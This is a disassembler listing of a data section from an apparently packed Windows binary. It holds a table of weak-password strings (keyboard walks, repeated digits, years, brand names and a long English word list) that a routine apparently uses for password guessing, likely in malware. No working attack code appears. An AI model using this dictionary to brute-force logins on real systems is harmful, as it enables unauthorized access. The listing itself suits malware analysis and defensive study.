aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .nsp0:0042E488o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .nsp0:0042E484o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .nsp0:0042E480o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:0042E47Co
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:0042E478o
		align 4
aAs		db 'as',0               ; DATA XREF: .nsp0:0042E46Co
		align 10h
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .nsp0:0042E468o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .nsp0:0042E464o
		align 10h
aZxcvb		db 'zxcvb',0            ; DATA XREF: .nsp0:0042E460o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: .nsp0:0042E458o
aZx		db 'zx',0               ; DATA XREF: .nsp0:0042E454o
		align 10h
aZ:					; DATA XREF: .nsp0:0042E450o
					; .nsp0:0042E6BCo
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: .nsp0:0042E44Co
aToyota		db 'TOYOTA',0           ; DATA XREF: .nsp0:0042E414o
		align 4
aKor		db 'KOR',0              ; DATA XREF: .nsp0:0042E410o
aKor_0		db 'kor',0              ; DATA XREF: .nsp0:0042E408o
aChi		db 'chi',0              ; DATA XREF: .nsp0:0042E404o
off_42EC80	dd offset byte_494843	; DATA XREF: .nsp0:0042E400o
aSystem		db 'system',0           ; DATA XREF: .nsp0:0042E3F8o
					; .nsp0:0042E73Co
		align 4
aServices	db 'services',0         ; DATA XREF: .nsp0:0042E3F4o
		align 4
aServers	db 'servers',0          ; DATA XREF: .nsp0:0042E3F0o
aServer_0	db 'server',0           ; DATA XREF: .nsp0:0042E3E8o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .nsp0:0042E3E0o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .nsp0:0042E3DCo
		align 10h
aQwertyui	db 'qwertyui',0         ; DATA XREF: .nsp0:0042E3D8o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: .nsp0:0042E3D4o
aQwe		db 'qwe',0              ; DATA XREF: .nsp0:0042E3C4o
aQw		db 'qw',0               ; DATA XREF: .nsp0:0042E3C0o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .nsp0:0042E3BCo
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .nsp0:0042E3B8o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .nsp0:0042E3B4o
		align 10h
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .nsp0:0042E3B0o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .nsp0:0042E3ACo
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .nsp0:0042E3A8o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .nsp0:0042E3A4o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:0042E3A0o
		align 4
aAa		db 'aa',0               ; DATA XREF: .nsp0:0042E398o
		align 10h
aNokia		db 'NOKIA',0            ; DATA XREF: .nsp0:0042E38Co
		align 4
aSex		db 'SEX',0              ; DATA XREF: .nsp0:0042E388o
aCreative	db 'CREATIVE',0         ; DATA XREF: .nsp0:0042E384o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: .nsp0:0042E380o
		align 10h
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .nsp0:0042E37Co
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .nsp0:0042E378o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: .nsp0:0042E374o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: .nsp0:0042E370o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .nsp0:0042E36Co
aSony		db 'sony',0             ; DATA XREF: .nsp0:0042E368o
		align 4
a7654321	db '7654321',0          ; DATA XREF: .nsp0:0042E364o
a4321		db '4321',0             ; DATA XREF: .nsp0:0042E358o
		align 4
a321		db '321',0              ; DATA XREF: .nsp0:0042E354o
a2006		db '2006',0             ; DATA XREF: .nsp0:0042E34Co
		align 10h
a2005		db '2005',0             ; DATA XREF: .nsp0:0042E348o
		align 4
a2004		db '2004',0             ; DATA XREF: .nsp0:0042E344o
		align 10h
a2001		db '2001',0             ; DATA XREF: .nsp0:0042E338o
		align 4
a2000		db '2000',0             ; DATA XREF: .nsp0:0042E334o
		align 10h
a1999		db '1999',0             ; DATA XREF: .nsp0:0042E330o
		align 4
a1998		db '1998',0             ; DATA XREF: .nsp0:0042E32Co
		align 10h
a1997		db '1997',0             ; DATA XREF: .nsp0:0042E328o
		align 4
a1996		db '1996',0             ; DATA XREF: .nsp0:0042E324o
		align 10h
a1995		db '1995',0             ; DATA XREF: .nsp0:0042E320o
		align 4
a1994		db '1994',0             ; DATA XREF: .nsp0:0042E31Co
		align 10h
a1993		db '1993',0             ; DATA XREF: .nsp0:0042E318o
		align 4
a1992		db '1992',0             ; DATA XREF: .nsp0:0042E314o
		align 10h
a1991		db '1991',0             ; DATA XREF: .nsp0:0042E310o
		align 4
a1990		db '1990',0             ; DATA XREF: .nsp0:0042E30Co
		align 10h
a1989		db '1989',0             ; DATA XREF: .nsp0:0042E308o
		align 4
a1988		db '1988',0             ; DATA XREF: .nsp0:0042E304o
		align 10h
a1987		db '1987',0             ; DATA XREF: .nsp0:0042E300o
		align 4
a1986		db '1986',0             ; DATA XREF: .nsp0:0042E2FCo
		align 10h
a1985		db '1985',0             ; DATA XREF: .nsp0:0042E2F8o
		align 4
a1984		db '1984',0             ; DATA XREF: .nsp0:0042E2F4o
		align 10h
a1983		db '1983',0             ; DATA XREF: .nsp0:0042E2F0o
		align 4
a1982		db '1982',0             ; DATA XREF: .nsp0:0042E2ECo
		align 10h
a1981		db '1981',0             ; DATA XREF: .nsp0:0042E2E8o
		align 4
a1980		db '1980',0             ; DATA XREF: .nsp0:0042E2E4o
		align 10h
a1979		db '1979',0             ; DATA XREF: .nsp0:0042E2E0o
		align 4
a1978		db '1978',0             ; DATA XREF: .nsp0:0042E2DCo
		align 10h
a1977		db '1977',0             ; DATA XREF: .nsp0:0042E2D8o
		align 4
a1976		db '1976',0             ; DATA XREF: .nsp0:0042E2D4o
		align 10h
a1975		db '1975',0             ; DATA XREF: .nsp0:0042E2D0o
		align 4
a1974		db '1974',0             ; DATA XREF: .nsp0:0042E2CCo
		align 10h
a1973		db '1973',0             ; DATA XREF: .nsp0:0042E2C8o
		align 4
a1972		db '1972',0             ; DATA XREF: .nsp0:0042E2C4o
		align 10h
a1971		db '1971',0             ; DATA XREF: .nsp0:0042E2C0o
		align 4
a1970		db '1970',0             ; DATA XREF: .nsp0:0042E2BCo
		align 10h
a1969		db '1969',0             ; DATA XREF: .nsp0:0042E2B8o
		align 4
a1968		db '1968',0             ; DATA XREF: .nsp0:0042E2B4o
		align 10h
a1967		db '1967',0             ; DATA XREF: .nsp0:0042E2B0o
		align 4
a1966		db '1966',0             ; DATA XREF: .nsp0:0042E2ACo
		align 10h
a1965		db '1965',0             ; DATA XREF: .nsp0:0042E2A8o
		align 4
a1964		db '1964',0             ; DATA XREF: .nsp0:0042E2A4o
		align 10h
a1963		db '1963',0             ; DATA XREF: .nsp0:0042E2A0o
		align 4
a1962		db '1962',0             ; DATA XREF: .nsp0:0042E29Co
		align 10h
a1961		db '1961',0             ; DATA XREF: .nsp0:0042E298o
		align 4
a1960		db '1960',0             ; DATA XREF: .nsp0:0042E294o
		align 10h
a1959		db '1959',0             ; DATA XREF: .nsp0:0042E290o
		align 4
a1958		db '1958',0             ; DATA XREF: .nsp0:0042E28Co
		align 10h
a1957		db '1957',0             ; DATA XREF: .nsp0:0042E288o
		align 4
a1956		db '1956',0             ; DATA XREF: .nsp0:0042E284o
		align 10h
a1955		db '1955',0             ; DATA XREF: .nsp0:0042E280o
		align 4
a1954		db '1954',0             ; DATA XREF: .nsp0:0042E27Co
		align 10h
a1953		db '1953',0             ; DATA XREF: .nsp0:0042E278o
		align 4
a1952		db '1952',0             ; DATA XREF: .nsp0:0042E274o
		align 10h
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:0042E270o
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:0042E26Co
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:0042E268o
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:0042E254o
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:0042E250o
		align 4
a12asd		db '12asd',0            ; DATA XREF: .nsp0:0042E24Co
		align 10h
a12abc		db '12abc',0            ; DATA XREF: .nsp0:0042E248o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:0042E244o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:0042E240o
		align 4
a1asd		db '1asd',0             ; DATA XREF: .nsp0:0042E23Co
		align 10h
a1abc		db '1abc',0             ; DATA XREF: .nsp0:0042E238o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:0042E234o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: .nsp0:0042E230o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .nsp0:0042E22Co
		align 4
a1234678	db '1234678',0          ; DATA XREF: .nsp0:0042E228o
a123467		db '123467',0           ; DATA XREF: .nsp0:0042E224o
		align 4
a12346		db '12346',0            ; DATA XREF: .nsp0:0042E220o
		align 10h
a121		db '121',0              ; DATA XREF: .nsp0:0042E1F8o
a1020		db '1020',0             ; DATA XREF: .nsp0:0042E1F0o
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:0042E1ECo
		align 4
a8520		db '8520',0             ; DATA XREF: .nsp0:0042E1E8o
		align 4
a987		db '987',0              ; DATA XREF: .nsp0:0042E1E4o
a789		db '789',0              ; DATA XREF: .nsp0:0042E1E0o
a654		db '654',0              ; DATA XREF: .nsp0:0042E1DCo
a456		db '456',0              ; DATA XREF: .nsp0:0042E1D8o
a1122		db '1122',0             ; DATA XREF: .nsp0:0042E1D4o
		align 4
a0147		db '0147',0             ; DATA XREF: .nsp0:0042E1D0o
		align 4
a7410		db '7410',0             ; DATA XREF: .nsp0:0042E1CCo
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:0042E1C4o
		align 10h
a999999999	db '999999999',0        ; DATA XREF: .nsp0:0042E1C0o
		align 4
a99999999	db '99999999',0         ; DATA XREF: .nsp0:0042E1BCo
		align 4
a9999999	db '9999999',0          ; DATA XREF: .nsp0:0042E1B8o
a999999		db '999999',0           ; DATA XREF: .nsp0:0042E1B4o
		align 4
a99999		db '99999',0            ; DATA XREF: .nsp0:0042E1B0o
		align 10h
a9999		db '9999',0             ; DATA XREF: .nsp0:0042E1ACo
		align 4
a999		db '999',0              ; DATA XREF: .nsp0:0042E1A8o
a99		db '99',0               ; DATA XREF: .nsp0:0042E1A4o
		align 10h
a9:					; DATA XREF: .nsp0:0042E1A0o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:0042E19Co
		align 10h
a888888888	db '888888888',0        ; DATA XREF: .nsp0:0042E198o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:0042E190o
a888888		db '888888',0           ; DATA XREF: .nsp0:0042E18Co
		align 4
a88888		db '88888',0            ; DATA XREF: .nsp0:0042E188o
		align 4
a8888		db '8888',0             ; DATA XREF: .nsp0:0042E184o
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:0042E180o
a88		db '88',0               ; DATA XREF: .nsp0:0042E17Co
		align 4
a8:					; DATA XREF: .nsp0:0042E178o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:0042E174o
		align 4
a777777777	db '777777777',0        ; DATA XREF: .nsp0:0042E170o
		align 10h
a77777777	db '77777777',0         ; DATA XREF: .nsp0:0042E16Co
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:0042E168o
a777777		db '777777',0           ; DATA XREF: .nsp0:0042E164o
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:0042E160o
		align 4
a7777		db '7777',0             ; DATA XREF: .nsp0:0042E15Co
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:0042E158o
a77		db '77',0               ; DATA XREF: .nsp0:0042E154o
		align 4
a7:					; DATA XREF: .nsp0:0042E150o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:0042E14Co
		align 4
a666666666	db '666666666',0        ; DATA XREF: .nsp0:0042E148o
		align 10h
a66666666	db '66666666',0         ; DATA XREF: .nsp0:0042E144o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:0042E140o
a666666		db '666666',0           ; DATA XREF: .nsp0:0042E13Co
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:0042E138o
		align 4
a6666		db '6666',0             ; DATA XREF: .nsp0:0042E134o
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:0042E130o
a66		db '66',0               ; DATA XREF: .nsp0:0042E12Co
		align 4
a6:					; DATA XREF: .nsp0:0042E128o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:0042E124o
		align 4
a555555555	db '555555555',0        ; DATA XREF: .nsp0:0042E120o
		align 10h
a55555555	db '55555555',0         ; DATA XREF: .nsp0:0042E11Co
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:0042E118o
a555555		db '555555',0           ; DATA XREF: .nsp0:0042E114o
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:0042E110o
		align 4
a5555		db '5555',0             ; DATA XREF: .nsp0:0042E10Co
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:0042E108o
a55		db '55',0               ; DATA XREF: .nsp0:0042E104o
		align 4
a5:					; DATA XREF: .nsp0:0042E100o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:0042E0FCo
		align 4
a444444444	db '444444444',0        ; DATA XREF: .nsp0:0042E0F8o
		align 10h
a44444444	db '44444444',0         ; DATA XREF: .nsp0:0042E0F4o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:0042E0F0o
a444444		db '444444',0           ; DATA XREF: .nsp0:0042E0ECo
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:0042E0E8o
		align 4
a4444		db '4444',0             ; DATA XREF: .nsp0:0042E0E4o
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:0042E0E0o
a44		db '44',0               ; DATA XREF: .nsp0:0042E0DCo
		align 4
a4:					; DATA XREF: .nsp0:0042E0D8o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:0042E0D4o
		align 4
a333333333	db '333333333',0        ; DATA XREF: .nsp0:0042E0D0o
		align 10h
a33333333	db '33333333',0         ; DATA XREF: .nsp0:0042E0CCo
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:0042E0C8o
a333333		db '333333',0           ; DATA XREF: .nsp0:0042E0C4o
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:0042E0C0o
		align 4
a3333		db '3333',0             ; DATA XREF: .nsp0:0042E0BCo
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:0042E0B8o
a33		db '33',0               ; DATA XREF: .nsp0:0042E0B4o
		align 4
a3:					; DATA XREF: .nsp0:0042E0B0o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:0042E0ACo
		align 4
a222222222	db '222222222',0        ; DATA XREF: .nsp0:0042E0A8o
		align 10h
a22222222	db '22222222',0         ; DATA XREF: .nsp0:0042E0A4o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:0042E0A0o
a222222		db '222222',0           ; DATA XREF: .nsp0:0042E09Co
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:0042E098o
		align 4
a2222		db '2222',0             ; DATA XREF: .nsp0:0042E094o
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:0042E090o
a22		db '22',0               ; DATA XREF: .nsp0:0042E08Co
		align 4
a2:					; DATA XREF: .nsp0:0042E088o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:0042E084o
		align 4
a111111111	db '111111111',0        ; DATA XREF: .nsp0:0042E080o
		align 10h
a1111111	db '1111111',0          ; DATA XREF: .nsp0:0042E078o
a11111		db '11111',0            ; DATA XREF: .nsp0:0042E070o
		align 10h
a1111		db '1111',0             ; DATA XREF: .nsp0:0042E06Co
		align 4
a11		db '11',0               ; DATA XREF: .nsp0:0042E064o
		align 4
a010		db '010',0              ; DATA XREF: .nsp0:0042E054o
a009		db '009',0              ; DATA XREF: .nsp0:0042E050o
a008		db '008',0              ; DATA XREF: .nsp0:0042E04Co
a006		db '006',0              ; DATA XREF: .nsp0:0042E044o
a005		db '005',0              ; DATA XREF: sub_40CE55+215o
					; .nsp0:0042E040o
a004		db '004',0              ; DATA XREF: .nsp0:0042E03Co
a003		db '003',0              ; DATA XREF: .nsp0:0042E038o
a002		db '002',0              ; DATA XREF: .nsp0:0042E034o
a001		db '001',0              ; DATA XREF: sub_40CE55+200o
					; .nsp0:0042E030o
asc_42F2E0	db '*********',0        ; DATA XREF: .nsp0:0042E02Co
		align 4
asc_42F2EC	db '********',0         ; DATA XREF: .nsp0:0042E028o
		align 4
asc_42F2F8	db '*******',0          ; DATA XREF: .nsp0:0042E024o
asc_42F300	db '******',0           ; DATA XREF: .nsp0:0042E020o
		align 4
asc_42F308	db '*****',0            ; DATA XREF: .nsp0:0042E01Co
		align 10h
asc_42F310	db '****',0             ; DATA XREF: .nsp0:0042E018o
		align 4
asc_42F318	db '***',0              ; DATA XREF: .nsp0:0042E014o
asc_42F31C	db '**',0               ; DATA XREF: .nsp0:0042E010o
		align 10h
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:0042E008o
		align 4
a000000000	db '000000000',0        ; DATA XREF: .nsp0:0042E004o
		align 4
a@		db '@!',0               ; DATA XREF: .nsp0:0042DFE4o
		align 4
a@_0		db '#@!',0              ; DATA XREF: .nsp0:0042DFE0o
a@_1		db '$#@!',0             ; DATA XREF: .nsp0:0042DFDCo
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: .nsp0:0042DFD8o
		align 10h
a@_3		db '^%$#@!',0           ; DATA XREF: .nsp0:0042DFD4o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: .nsp0:0042DFD0o
a@_5		db '*&^%$#@!',0         ; DATA XREF: .nsp0:0042DFCCo
		align 4
asc_42F36C	db '$$$',0              ; DATA XREF: .nsp0:0042DFC8o
asc_42F370	db '$$',0               ; DATA XREF: .nsp0:0042DFC4o
		align 4
asc_42F374:				; DATA XREF: .nsp0:0042DFC0o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: .nsp0:0042DFBCo
		align 10h
a789_0		db '789+',0             ; DATA XREF: .nsp0:0042DFB8o
		align 4
a0		db '=-0',0              ; DATA XREF: .nsp0:0042DFB4o
asc_42F38C	db '--++',0             ; DATA XREF: .nsp0:0042DFB0o
		align 4
asc_42F394	db '-+',0               ; DATA XREF: .nsp0:0042DFACo
		align 4
asc_42F398	db '----',0             ; DATA XREF: .nsp0:0042DFA8o
		align 10h
asc_42F3A0	db '--',0               ; DATA XREF: .nsp0:0042DFA0o
					; .nsp0:0042DFA4o
		align 4
asc_42F3A4:				; DATA XREF: .nsp0:0042DF9Co
		unicode	0, <->,0
asc_42F3A8	db '++++',0             ; DATA XREF: .nsp0:0042DF98o
		align 10h
asc_42F3B0	db '+++',0              ; DATA XREF: .nsp0:0042DF94o
asc_42F3B4	db '++',0               ; DATA XREF: .nsp0:0042DF90o
		align 4
asc_42F3B8:				; DATA XREF: .nsp0:0042DF8Co
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .nsp0:0042DF88o
		align 10h
a@_6:					; DATA XREF: sub_40CE55+23Ao
					; .nsp0:0042DF84o
		unicode	0, <@>,0
off_42F3C4	dd offset loc_40211D+4	; DATA XREF: .nsp0:0042DF80o
dword_42F3C8	dd 2121h		; DATA XREF: .nsp0:0042DF7Co
dword_42F3CC	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	.nsp0:0042DF74o
dword_42F3D8	dd 24234021h, 265E25h	; DATA XREF: .nsp0:0042DF70o
dword_42F3E0	dd 24234021h, 5E25h	; DATA XREF: .nsp0:0042DF6Co
dword_42F3E8	dd 24234021h, 25h	; DATA XREF: .nsp0:0042DF68o
dword_42F3F0	dd 234021h		; DATA XREF: .nsp0:0042DF64o
dword_42F3F4	dd 4021h		; DATA XREF: .nsp0:0042DF60o
dword_42F3F8	dd 21h			; DATA XREF: sub_40CE55+19Ao
					; sub_40CE55+5B5Fo ...
dword_42F3FC	dd 25h			; DATA XREF: .nsp0:0042DF58o
aZimmerman	db 'zimmerman',0        ; DATA XREF: .nsp0:0042DF54o
		align 4
aZap		db 'zap',0              ; DATA XREF: .nsp0:0042DF50o
aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:0042DF4Co
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:0042DF48o
					; .nsp0:0042E440o
aWisconsin	db 'wisconsin',0        ; DATA XREF: .nsp0:0042DF44o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: .nsp0:0042DF40o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: .nsp0:0042DF3Co
		align 4
aTty		db 'tty',0              ; DATA XREF: .nsp0:0042DF38o
aTopography	db 'topography',0       ; DATA XREF: .nsp0:0042DF34o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: .nsp0:0042DF30o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: .nsp0:0042DF2Co
		align 10h
aTangerine	db 'tangerine',0        ; DATA XREF: .nsp0:0042DF28o
		align 4
aSys		db 'sys',0              ; DATA XREF: .nsp0:0042DF24o
aSupported	db 'supported',0        ; DATA XREF: .nsp0:0042DF20o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: .nsp0:0042DF1Co
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: .nsp0:0042DF18o
		align 4
aSun		db 'sun',0              ; DATA XREF: .nsp0:0042DF14o
aStuttgart	db 'stuttgart',0        ; DATA XREF: .nsp0:0042DF10o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: .nsp0:0042DF0Co
		align 10h
aStephanie	db 'stephanie',0        ; DATA XREF: .nsp0:0042DF08o
		align 4
aSignature	db 'signature',0        ; DATA XREF: .nsp0:0042DF04o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: .nsp0:0042DF00o
		align 4
aSal		db 'sal',0              ; DATA XREF: .nsp0:0042DEFCo
aRochester	db 'rochester',0        ; DATA XREF: .nsp0:0042DEF8o
		align 4
aRje		db 'rje',0              ; DATA XREF: .nsp0:0042DEF4o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: .nsp0:0042DEF0o
		align 4
aPub		db 'pub',0              ; DATA XREF: .nsp0:0042DEECo
aProfessor	db 'professor',0        ; DATA XREF: .nsp0:0042DEE8o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: .nsp0:0042DEE4o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: .nsp0:0042DEE0o
		align 10h
aPolynomial	db 'polynomial',0       ; DATA XREF: .nsp0:0042DEDCo
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: .nsp0:0042DED8o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: .nsp0:0042DED4o
		align 4
aPam		db 'pam',0              ; DATA XREF: .nsp0:0042DED0o
aPad		db 'pad',0              ; DATA XREF: .nsp0:0042DECCo
aOceanography	db 'oceanography',0     ; DATA XREF: .nsp0:0042DEC8o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: .nsp0:0042DEC4o
		align 4
aNew		db 'new',0              ; DATA XREF: .nsp0:0042DEC0o
aNet		db 'net',0              ; DATA XREF: .nsp0:0042DEBCo
aMit		db 'mit',0              ; DATA XREF: .nsp0:0042DEB8o
aMgr		db 'mgr',0              ; DATA XREF: .nsp0:0042DEB4o
aMacintosh	db 'macintosh',0        ; DATA XREF: .nsp0:0042DEB0o
		align 4
aLiz		db 'liz',0              ; DATA XREF: .nsp0:0042DEACo
aLee		db 'lee',0              ; DATA XREF: .nsp0:0042DEA8o
aLamination	db 'lamination',0       ; DATA XREF: .nsp0:0042DEA4o
		align 4
aKim		db 'kim',0              ; DATA XREF: .nsp0:0042DEA0o
aJoy		db 'joy',0              ; DATA XREF: .nsp0:0042DE98o
aJen		db 'jen',0              ; DATA XREF: .nsp0:0042DE94o
aInnocuous	db 'innocuous',0        ; DATA XREF: .nsp0:0042DE90o
		align 10h
aImbroglio	db 'imbroglio',0        ; DATA XREF: .nsp0:0042DE8Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .nsp0:0042DE88o
aHappening	db 'happening',0        ; DATA XREF: .nsp0:0042DE84o
		align 4
aHal		db 'hal',0              ; DATA XREF: .nsp0:0042DE80o
aGnu		db 'gnu',0              ; DATA XREF: .nsp0:0042DE7Co
aFun		db 'fun',0              ; DATA XREF: .nsp0:0042DE78o
aForesight	db 'foresight',0        ; DATA XREF: .nsp0:0042DE74o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: .nsp0:0042DE70o
		align 10h
aExtension	db 'extension',0        ; DATA XREF: .nsp0:0042DE6Co
		align 4
aEstablish	db 'establish',0        ; DATA XREF: .nsp0:0042DE68o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .nsp0:0042DE64o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: .nsp0:0042DE60o
		align 10h
aEiderdown	db 'eiderdown',0        ; DATA XREF: .nsp0:0042DE5Co
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .nsp0:0042DE58o
		align 4
aDos		db 'dos',0              ; DATA XREF: .nsp0:0042DE54o
aDog		db 'dog',0              ; DATA XREF: .nsp0:0042DE50o
aDiscovery	db 'discovery',0        ; DATA XREF: .nsp0:0042DE4Co
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: .nsp0:0042DE48o
		align 4
aDeb		db 'deb',0              ; DATA XREF: .nsp0:0042DE44o
aCornelius	db 'cornelius',0        ; DATA XREF: .nsp0:0042DE40o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .nsp0:0042DE3Co
		align 4
aChristine	db 'christine',0        ; DATA XREF: .nsp0:0042DE38o
		align 10h
aChristina	db 'christina',0        ; DATA XREF: .nsp0:0042DE34o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: .nsp0:0042DE30o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: .nsp0:0042DE2Co
		align 4
aCat		db 'cat',0              ; DATA XREF: .nsp0:0042DE28o
aCampanile	db 'campanile',0        ; DATA XREF: .nsp0:0042DE24o
		align 4
aCad		db 'cad',0              ; DATA XREF: .nsp0:0042DE20o
aBsd		db 'bsd',0              ; DATA XREF: .nsp0:0042DE1Co
aBob		db 'bob',0              ; DATA XREF: .nsp0:0042DE18o
aBicameral	db 'bicameral',0        ; DATA XREF: .nsp0:0042DE14o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: .nsp0:0042DE10o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .nsp0:0042DE0Co
		align 4
aAsm		db 'asm',0              ; DATA XREF: .nsp0:0042DE08o
aAsd		db 'asd',0              ; DATA XREF: .nsp0:0042DE04o
					; .nsp0:0042E470o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .nsp0:0042DE00o
		align 4
aAnn		db 'ann',0              ; DATA XREF: .nsp0:0042DDFCo
aAndromache	db 'andromache',0       ; DATA XREF: .nsp0:0042DDF8o
		align 4
aAmy		db 'amy',0              ; DATA XREF: .nsp0:0042DDF4o
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:0042DDF0o
		align 4
aAma		db 'ama',0              ; DATA XREF: .nsp0:0042DDECo
aAlf		db 'alf',0              ; DATA XREF: .nsp0:0042DDE8o
aAlbatross	db 'albatross',0        ; DATA XREF: .nsp0:0042DDE4o
		align 10h
aAda		db 'ada',0              ; DATA XREF: .nsp0:0042DDE0o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .nsp0:0042DDDCo
		align 10h
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .nsp0:0042DDD8o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .nsp0:0042DDD4o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: .nsp0:0042DDD0o
		align 4
aHax		db 'hax',0              ; DATA XREF: .nsp0:0042DDCCo
aWh0re		db 'wh0re',0            ; DATA XREF: .nsp0:0042DDC8o
		align 4
aHo		db 'ho',0               ; DATA XREF: .nsp0:0042DDC4o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: .nsp0:0042DDC0o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .nsp0:0042DDBCo
		align 10h
aWindoze98	db 'windoze98',0        ; DATA XREF: .nsp0:0042DDB8o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:0042DDB4o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .nsp0:0042DDB0o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:0042DDACo
		align 10h
aWindows95	db 'windows95',0        ; DATA XREF: .nsp0:0042DDA8o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:0042DDA4o
		align 4
